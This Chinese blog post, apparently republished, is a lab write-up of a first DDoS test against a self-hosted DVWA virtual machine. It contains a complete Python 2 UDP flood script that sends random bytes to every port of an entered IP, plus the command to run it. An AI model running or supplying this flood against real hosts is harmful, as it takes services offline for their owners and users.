完成我的第一次DDOS攻击

您所在的位置:网站首页 ddos网页测试 完成我的第一次DDOS攻击

完成我的第一次DDOS攻击

2023-07-29 10:43| 来源: 网络整理| 查看: 265

接触网络安全以来,各种技术学习了一大堆,自己部署环境,完成自己的第一次DDos攻击,记录一下,与网友们共同学习交流,本次过程是在自己搭建的环境中测试,并非实际生产环境,也请各位朋友不要用来做违法的事,使用了相关技术与代码造成后果的,与本人无关。

一、搭建环境

首先在虚拟机中搭建了centos7做为靶机,部署dvwa,端口80;然后部署了kali系统作为攻击机。

访问靶机dvwa,可以正常访问:

 二、写攻击代码

在kali中用python写一段代码,用来访问靶机,轮询访问靶机所有端口,发送字节流,造成靶机端口被占用,实现ddos攻击的目的;

# -*- coding:utf-8 -*- import sys import os import time import socket import random # sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1490) # os.system("clear") os.system("figlet MY First DDos") # ip = raw_input("IP Target : ") port = 1 # time.sleep(3) sent = 0 while True: sock.sendto(bytes, (ip,port)) sent = sent + 1 port = port + 1 print "对 %s 攻击 %s 次 , port:%s"%(sent,ip,port) if port == 65534: port = 1

保存某目录,文件名 随便取,例如ddos_test.py

三、执行代码

python2 ddos_test.py

输入靶机ip地址,这里应该域名也可以,我没有试。

 ​​​​​​​

 

 然后靶机的dvwa,就访问不了了

 到此,DDos攻击就已经实现了。

因为写的是死循环,需要Ctrl+c结束攻击。

最后,参考代码用来学习,理解ddos原理,切勿做违法的事。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3